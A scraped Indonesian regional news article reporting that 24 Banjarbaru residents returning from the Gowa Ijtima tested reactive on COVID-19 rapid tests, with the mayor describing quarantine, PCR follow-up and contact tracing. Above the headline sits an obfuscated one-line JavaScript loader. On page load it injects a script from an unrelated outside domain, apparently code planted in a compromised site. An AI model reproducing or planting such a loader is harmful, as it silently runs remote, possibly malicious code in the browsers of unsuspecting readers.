(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Rapid Test 24 Warga Banjarbaru Cluster Gowa Reaktif, Wali Kota: Sedang Kita Tracing!


KANALKALIMANTAN.COM, BANJARBARU –  Beredarnya kabar 24 warga kota Banjarbaru yang mengikuti Ijtima Gowa, Sulawesi Selatan, dinyatakan reaktif saat menjalani rapid test, rupanya dibenarkan Wali Kota Banjarbaru, Nadjmi Adhani.

“Ada sekitar 40 orang yang menjalani rapid test dan 24 diantarnya reaktif. Rapid test sudah dilakukan sejak Sabtu kemarin dan kawan-kawan yang pulang ijtima dari Gowa mau berkenan menjalaninya,” katanya, Senin (13/4/2020) siang.

Namun begitu, Wali Kota Banjarbaru mengakui bahwa pihaknya belum bisa mengatakan bahwa 24 orang tersebut positif terpapar virus corona. Sebab, rapid test yang dilakukan pihaknya dengan pengambilan sampel darah hanya untuk mengetahui bahwa ada virus yang terkandung di dalam tubuh manusia.

“Dinyatakan reaktif karena ada virus di dalam tubuh mereka. Tapi, kita tidak tahu apakah yang reaktif itu virus corona atau tidak. Makanya akan kita lakukan pemeriksaan PCR (polymerase chain reaction) di laboratorium. Intinya kita belum mengatakan bahwa reaktif itu dipastikan terpapar covid-19,” beber Nadjmi.

Kini, 24 orang cluster Gowa tersebut sedang menjalani karantina di gedung Balai Pendidikan dan Pelatihan (Diklat), di Jalan Ambulung, Kota Banjarbaru. Selama masa karantina ini, Pemerintah Kota (Pemko) Banjarbaru juga menelusuri rekam jejak perjalanan kontak atau tracing 24 orang tersebut.

Rencananya, nama-nama yang disebutkan pernah berkontak langsung dengan  24 orang tersebut juga akan turut menjalani rapid test. Namun begitu, Wali Kota Banjarbaru mengungkapkan bahwa pihaknya sendiri masih menunggu distrubisi alat rapid test dari pemerintah provinsi.

“Kita sedang tracing, kemana dan siapa saja yang pernah berkontak dengan 24 orang tersebut. Kita hanya dikasih jatah 100 saja dan itu sudah terpakai, sisa 8 saja. Kalau datang alat rapid test maka kita akan uji lagi orang-orang berkontak dengan cluster Gowa,” pungkasnya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Jalinan Erat Silaturahmi Warga Sungai Besar dari Budaya Banjar “Balogo”

KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More

11 jam ago

Pelantikan Pengurus Wilayah Keluarga Besar PII Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More

13 jam ago

Lesti Kejora Hingga Ria Ricis Siap Ramaikan Silet Awards 2024!

KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More

13 jam ago

Kontes Motor 2Tak “Entwosiastrokes Volume 2 2024” di Banjarbaru, Ajang Adu Para Modifikator Banua

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More

14 jam ago

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

18 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

21 jam ago

This website uses cookies.